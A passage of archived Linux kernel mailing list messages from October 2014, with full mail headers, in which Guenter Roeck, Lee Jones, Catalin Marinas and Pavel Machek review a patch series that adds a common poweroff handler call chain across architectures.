>> +{
>> +       char symname[KSYM_NAME_LEN];
>> +
>> +       if (poweroff_handler_data.handler) {
>> +               lookup_symbol_name((unsigned long)poweroff_handler_data.handler,
>> +                                  symname);
>> +               pr_warn("Poweroff function already registered (%s)", symname);
>> +               lookup_symbol_name((unsigned long)handler, symname);
>> +               pr_cont(", cannot register %s\n", symname);
>
> Doesn't %ps work to look up symbols?
>
> pr_warn("Poweroff function already registered (%ps), cannot register
> %ps\n", poweroff_handler_data.handler, handler);
>

Hi Geert,

That is great. One never stops learning. I'll use that.

Thanks!

Guenter




From - Thu Nov 08 21:10:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.m68k,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 12/44] mfd: ab8500-sysctrl: Register with kernel poweroff
 handler
Date: Thu, 09 Oct 2014 06:26:46 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <54368D16.40404@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net> <1412659726-29957-13-git-send-email-linux@roeck-us.net> <20141007080048.GB25331@lee--X1> <20141009103656.GF17836@e104818-lin.cambridge.arm.com> <20141009104927.GN20647@lee--X1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412861225 23363 80.91.229.3 (9 Oct 2014 13:27:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 13:27:05 +0000 (UTC)
Cc: "linux-m32r-ja@ml.linux-m32r.org" <linux-m32r-ja@ml.linux-m32r.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-efi@vger.kernel.org" <linux-efi@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	Linus Walleij <linus.walleij@linaro.org>,
	"devel@driverdev.osuosl.org" <devel@driverdev.osuosl.org>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	"lguest@lists.ozlabs.org" <lguest@lists.ozlabs.org>,
	"linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
	"linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	"linux-acpi@vger.kernel.org" <linux-acpi@vger.kernel.org>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	"devicetree@vger.kernel.org" <devicetree@vger.kernel.or
To: Lee Jones <lee.jones@linaro.org>,
	Catalin Marinas <catalin.marinas@arm.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Oct 09 15:26:57 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1XcDk8-0007Y3-Bt
	for lnx-linux-alpha@plane.gmane.org; Thu, 09 Oct 2014 15:26:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755597AbaJIN0z (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 9 Oct 2014 09:26:55 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:52653 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751571AbaJIN0z (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Thu, 9 Oct 2014 09:26:55 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=Content-Transfer-Encoding:Content-Type:In-Reply-To:References:Subject:CC:To:MIME-Version:From:Date:Message-ID; bh=OJkOOOjoSCJAoX6hUrbIyW6edYq7axz1pXjIZbR5du0=;
	b=qgaFG7XUC9HTWLAw4Hzf9hSOnExxebplFuNfEXZDq1P6fk/3PczzsPFhjrqxPr2SC7szcyqlr8pYhH1PFsDcHPOB51oaUp0WzsVCTVxdJYSiZRDVOrL5dCw/Gpk8+S5EnO0H2/4S+/WnJxa243qp48YBc+eb40sXhZyb0MxnhFI=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XcDk6-000ky5-LL
	for linux-alpha@vger.kernel.org; Thu, 09 Oct 2014 13:26:54 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:36594 helo=server.roeck-us.net)
	by bh-25.webhostbox.net with esmtpsa (TLSv1:DHE-RSA-AES128-SHA:128)
	(Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XcDk3-000kvG-OJ; Thu, 09 Oct 2014 13:26:52 +0000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.0
In-Reply-To: <20141009104927.GN20647@lee--X1>
X-Authenticated_sender: linux@roeck-us.net
X-OutGoing-Spam-Status: No, score=-1.0
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020205.54368D1E.01C9,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 55
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2509 gmane.linux.ports.mips.general:44279 gmane.linux.kernel.efi:4798 gmane.linux.ports.ia64:24545 gmane.linux.kernel.virtualization.lguest:1524 gmane.linux.ports.hexagon:856 gmane.linux.ports.sh.devel:39918 gmane.linux.acpi.devel:71364 gmane.linux.drivers.devicetree:93562 gmane.linux.uml.devel:14729 gmane.linux.power-management.general:50783 gmane.linux.ports.m68k:6285 gmane.linux.ports.tegra:19574 gmane.linux.kernel.openipmi:2515 gmane.linux.kernel.metag:376 gmane.linux.ports.arm.kernel:362998 gmane.linux.ports.parisc:6161 gmane.linux.kernel:1804275 gmane.linux.ports.ppc64.devel:106034
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2509>

On 10/09/2014 03:49 AM, Lee Jones wrote:
> On Thu, 09 Oct 2014, Catalin Marinas wrote:
>
>> On Tue, Oct 07, 2014 at 09:00:48AM +0100, Lee Jones wrote:
>>> On Mon, 06 Oct 2014, Guenter Roeck wrote:
>>>> --- a/drivers/mfd/ab8500-sysctrl.c
>>>> +++ b/drivers/mfd/ab8500-sysctrl.c
>>>> @@ -6,6 +6,7 @@
>>>
>>> [...]
>>>
>>>> +static int ab8500_power_off(struct notifier_block *this, unsigned long unused1,
>>>> +			    void *unused2)
>>>>   {
>>>>   	sigset_t old;
>>>>   	sigset_t all;
>>>> @@ -34,11 +36,6 @@ static void ab8500_power_off(void)
>>>>   	struct power_supply *psy;
>>>>   	int ret;
>>>>
>>>> -	if (sysctrl_dev == NULL) {
>>>> -		pr_err("%s: sysctrl not initialized\n", __func__);
>>>> -		return;
>>>> -	}
>>>
>>> Can you explain the purpose of this change please?
>>
>> I guess it's because the sysctrl_dev is already initialised when
>> registering the power_off handler, so there isn't a way to call the
>> above function with a NULL sysctrl_dev. Probably even with the original
>> code you didn't need this check (after some race fix in
>> ab8500_sysctrl_remove but races is one of the things Guenter's patches
>> try to address).
>
> Sounds reasonable, although I think this change should be part of
> another patch.
>
Sure, no problem. I'll split this into two patches.

Since we are at it, any idea what to do with the restart function
in the same file ? It is not used anywhere.

Guenter

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lee Jones <lee.jones@linaro.org>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.m68k,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 12/44] mfd: ab8500-sysctrl: Register with kernel poweroff
 handler
Date: Thu, 9 Oct 2014 14:33:55 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <20141009133355.GQ20647@lee--X1>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-13-git-send-email-linux@roeck-us.net>
 <20141007080048.GB25331@lee--X1>
 <20141009103656.GF17836@e104818-lin.cambridge.arm.com>
 <20141009104927.GN20647@lee--X1>
 <54368D16.40404@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1412861709 29406 80.91.229.3 (9 Oct 2014 13:35:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 13:35:09 +0000 (UTC)
Cc: Catalin Marinas <catalin.marinas@arm.com>,
	"linux-m32r-ja@ml.linux-m32r.org" <linux-m32r-ja@ml.linux-m32r.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-efi@vger.kernel.org" <linux-efi@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	Linus Walleij <linus.walleij@linaro.org>,
	"devel@driverdev.osuosl.org" <devel@driverdev.osuosl.org>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	"lguest@lists.ozlabs.org" <lguest@lists.ozlabs.org>,
	"linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
	"linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	"linux-acpi@vger.kernel.org" <linux-acpi@vger.kernel.org>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	"devicetree
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-hexagon-owner@vger.kernel.org Thu Oct 09 15:35:00 2014
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1XcDrv-0002Bv-0y
	for glphk-linux-hexagon@plane.gmane.org; Thu, 09 Oct 2014 15:34:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751385AbaJINe6 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glphk-linux-hexagon@m.gmane.org>);
	Thu, 9 Oct 2014 09:34:58 -0400
Original-Received: from mail-ig0-f171.google.com ([209.85.213.171]:48944 "EHLO
	mail-ig0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751571AbaJINez (ORCPT
	<rfc822;linux-hexagon@vger.kernel.org>);
	Thu, 9 Oct 2014 09:34:55 -0400
Original-Received: by mail-ig0-f171.google.com with SMTP id h15so12708251igd.16
        for <linux-hexagon@vger.kernel.org>; Thu, 09 Oct 2014 06:34:54 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition
         :content-transfer-encoding:in-reply-to:user-agent;
        bh=2nQ0h2l2HemwYDQuKiXqwo/hqW5OW7CxNPcof8MYSEs=;
        b=Fd/APUaJBzCOBuMjhPaFvgxgC0wEjgxf6uQMd5PNHaKITnXZvntIN0UDhou1xX8JkV
         UZoonbizrhV9ZGUUtq0NaNVOIoW8YRNd+zpdl/GilBLq05vpRsbV8zwSi+HCY+IQV/Gk
         s3P0AzU3sI28gR3WjlEkFBwFGf18HcjV0pbL7LN0/QHP8ily0JbTxHmOghygK7o8ktU+
         NWKhoNEFu3XahF9FiWN5AjKcphoXob/nA+Ncu+P3hB7QwW7cQu2tyaeTDqyqnIY9qjUk
         qyc5FvhfNNs8mcsYx9XV2TE3qHSmtCF8Ilpa+AEeBj6ckTzeyL65HW52eQ8Abbwvny3S
         FM0g==
X-Gm-Message-State: ALoCoQlYAs3Hlqt0xolENZ2qAF3gxCIgkG+dZ/N3yJk8IYqzGmc2hCE2Ys07Pb7PPL8w/uBgu4kr
X-Received: by 10.50.117.65 with SMTP id kc1mr9919851igb.34.1412861694555;
        Thu, 09 Oct 2014 06:34:54 -0700 (PDT)
Original-Received: from lee--X1 (host109-148-233-9.range109-148.btcentralplus.com. [109.148.233.9])
        by mx.google.com with ESMTPSA id uf4sm9158584igc.0.2014.10.09.06.34.07
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Thu, 09 Oct 2014 06:34:53 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <54368D16.40404@roeck-us.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:857 gmane.linux.ports.mips.general:44280 gmane.linux.kernel.efi:4799 gmane.linux.ports.ia64:24546 gmane.linux.kernel.virtualization.lguest:1525 gmane.linux.ports.sh.devel:39919 gmane.linux.acpi.devel:71365 gmane.linux.drivers.devicetree:93564 gmane.linux.uml.devel:14730 gmane.linux.power-management.general:50784 gmane.linux.ports.m68k:6286 gmane.linux.ports.tegra:19575 gmane.linux.kernel.openipmi:2516 gmane.linux.kernel.metag:377 gmane.linux.ports.arm.kernel:363000 gmane.linux.ports.parisc:6162 gmane.linux.kernel:1804279 gmane.linux.ports.alpha:2510 gmane.linux.ports.ppc64.devel:106035
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/857>

On Thu, 09 Oct 2014, Guenter Roeck wrote:

> On 10/09/2014 03:49 AM, Lee Jones wrote:
> >On Thu, 09 Oct 2014, Catalin Marinas wrote:
> >
> >>On Tue, Oct 07, 2014 at 09:00:48AM +0100, Lee Jones wrote:
> >>>On Mon, 06 Oct 2014, Guenter Roeck wrote:
> >>>>--- a/drivers/mfd/ab8500-sysctrl.c
> >>>>+++ b/drivers/mfd/ab8500-sysctrl.c
> >>>>@@ -6,6 +6,7 @@
> >>>
> >>>[...]
> >>>
> >>>>+static int ab8500_power_off(struct notifier_block *this, unsigne=
d long unused1,
> >>>>+			    void *unused2)
> >>>>  {
> >>>>  	sigset_t old;
> >>>>  	sigset_t all;
> >>>>@@ -34,11 +36,6 @@ static void ab8500_power_off(void)
> >>>>  	struct power_supply *psy;
> >>>>  	int ret;
> >>>>
> >>>>-	if (sysctrl_dev =3D=3D NULL) {
> >>>>-		pr_err("%s: sysctrl not initialized\n", __func__);
> >>>>-		return;
> >>>>-	}
> >>>
> >>>Can you explain the purpose of this change please?
> >>
> >>I guess it's because the sysctrl_dev is already initialised when
> >>registering the power_off handler, so there isn't a way to call the
> >>above function with a NULL sysctrl_dev. Probably even with the orig=
inal
> >>code you didn't need this check (after some race fix in
> >>ab8500_sysctrl_remove but races is one of the things Guenter's patc=
hes
> >>try to address).
> >
> >Sounds reasonable, although I think this change should be part of
> >another patch.
> >
> Sure, no problem. I'll split this into two patches.
>=20
> Since we are at it, any idea what to do with the restart function
> in the same file ? It is not used anywhere.

You can strip it out with Linus Walleij's Ack.  Or I'll be happy to do
it?

--=20
Lee Jones
Linaro STMicroelectronics Landing Team Lead
Linaro.org =E2=94=82 Open source software for ARM SoCs
=46ollow Linaro: Facebook | Twitter | Blog

From - Thu Nov 08 21:10:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 08/44] kernel: Move pm_power_off to common code
Date: Thu, 09 Oct 2014 06:14:24 -0700
Lines: 74
Approved: news@gmane.org
Message-ID: <54368A30.9070101@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net> <1412659726-29957-9-git-send-email-linux@roeck-us.net> <20141009103847.GC6787@amd>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412861722 29564 80.91.229.3 (9 Oct 2014 13:35:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 13:35:22 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
        adi-buildroot-devel@lists.sourceforge.net,
        devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
        lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
        linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
        linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        openipmi-developer@lists.sourceforge.net,
        user-mode-linux-devel@lists.sourceforge.net,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-
To: Pavel Machek <pavel@denx.de>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Oct 09 15:35:06 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XcDrz-0003OP-IK
	for sgi-linux-mips@gmane.org; Thu, 09 Oct 2014 15:35:03 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:57232 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27010950AbaJINfB0nWwK (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 9 Oct 2014 15:35:01 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 09 Oct 2014 15:34:47 +0200 (CEST)
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:35617 "EHLO
        bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S27010944AbaJINeqNWANk (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 9 Oct 2014 15:34:46 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
        h=Content-Transfer-Encoding:Content-Type:In-Reply-To:References:Subject:CC:To:MIME-Version:From:Date:Message-ID; bh=IHjNZRPlQEUg3mo+uxvLoUp1CuBahV2+pPUhGrrwzg8=;
        b=CW+7zKpk36imaJnnQRny6CDhYFPq18w+zl+87VRXEfyWXZYphfw8ZE62Njo6g8VZCjULT+vxtN1AcPMzuxFuzg1MqQNOH4hY5pDPqalYY3YJZgYsxlSmfPs01aVz3KSxGxWrrQFwxKHKwRDAd1mS8LXHmxQT7RJh329ghDlo6rA=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
        (envelope-from <linux@roeck-us.net>)
        id 1XcDrc-000veb-2K
        for linux-mips@linux-mips.org; Thu, 09 Oct 2014 13:34:40 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:36520 helo=server.roeck-us.net)
        by bh-25.webhostbox.net with esmtpsa (TLSv1:DHE-RSA-AES128-SHA:128)
        (Exim 4.82)
        (envelope-from <linux@roeck-us.net>)
        id 1XcDYA-000ZJO-8W; Thu, 09 Oct 2014 13:14:34 +0000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.0
In-Reply-To: <20141009103847.GC6787@amd>
X-Authenticated_sender: linux@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020203.54368EF0.004B,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 32
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - linux-mips.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
X-archive-position: 43131
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux@roeck-us.net
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:44281 gmane.linux.kernel:1804280 gmane.linux.drivers.devicetree:93565 gmane.linux.kernel.virtualization.lguest:1526 gmane.linux.acpi.devel:71366 gmane.linux.ports.alpha:2511 gmane.linux.kernel.efi:4800 gmane.linux.ports.hexagon:858 gmane.linux.ports.ppc64.devel:106036 gmane.linux.ports.tegra:19576 gmane.linux.kernel.openipmi:2517 gmane.linux.uml.devel:14731 gmane.linux.ports.arm.kernel:363001 gmane.linux.ports.ia64:24547 gmane.linux.kernel.metag:378 gmane.linux.ports.parisc:6163 gmane.linux.power-management.general:50785 gmane.linux.ports.sh.devel:39920
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/44281>

On 10/09/2014 03:38 AM, Pavel Machek wrote:
> Hi!
>
>> @@ -184,6 +179,8 @@ machine_halt(void)
>>   void
>>   machine_power_off(void)
>>   {
>> +	do_kernel_poweroff();
>> +
>
> poweroff -> power_off for consistency.
>
Dunno; matter of personal preference. I started with that, but ultimately went
with poweroff to distinguish poweroff handler functions from existing code,
specifically kernel_power_off().

Does anyone else have an opinion ?

>
>> index c4f50a3..1da27d1 100644
>> --- a/arch/blackfin/kernel/reboot.c
>> +++ b/arch/blackfin/kernel/reboot.c
>> @@ -106,6 +107,7 @@ void machine_halt(void)
>>   __attribute__((weak))
>>   void native_machine_power_off(void)
>>   {
>> +	do_kernel_poweroff();
>>   	idle_with_irq_disabled();
>>   }
>>
>
> So here we handle do_kernel_poweroff() returning,
>
>> diff --git a/arch/cris/kernel/process.c b/arch/cris/kernel/process.c
>> index b78498e..eaafad0 100644
>> --- a/arch/cris/kernel/process.c
>> +++ b/arch/cris/kernel/process.c
>> @@ -60,6 +57,7 @@ void machine_halt(void)
>>
>>   void machine_power_off(void)
>>   {
>> +	do_kernel_poweroff();
>>   }
>>
>
>
> Here we don't.
>
>> diff --git a/arch/frv/kernel/process.c b/arch/frv/kernel/process.c
>> index 5d40aeb77..a673725 100644
>> --- a/arch/frv/kernel/process.c
>> +++ b/arch/frv/kernel/process.c
>> @@ -107,6 +104,8 @@ void machine_power_off(void)
>>   	gdbstub_exit(0);
>>   #endif
>>
>> +	do_kernel_poweroff();
>> +
>>   	for (;;);
>>   }
>>
>
> And here we do.
>
> What is right?
> 								Pavel

Up to the architecture maintainer to decide. My goal was to not change
existing behavior if no poweroff handler is registered.

Guenter




From - Thu Nov 08 21:10:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 01/44] kernel: Add support for poweroff handler call chain
Date: Thu, 9 Oct 2014 08:38:36 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <20141009153836.GA31987@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-2-git-send-email-linux@roeck-us.net>
 <20141009103143.GA6787@amd>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412869138 2540 80.91.229.3 (9 Oct 2014 15:38:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 15:38:58 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
 linux-efi@vger.kernel.org, linux-ia64@vger.kernel.org,
 Heiko Stuebner <heiko@sntech.de>, Len Brown <len.brown@intel.com>,
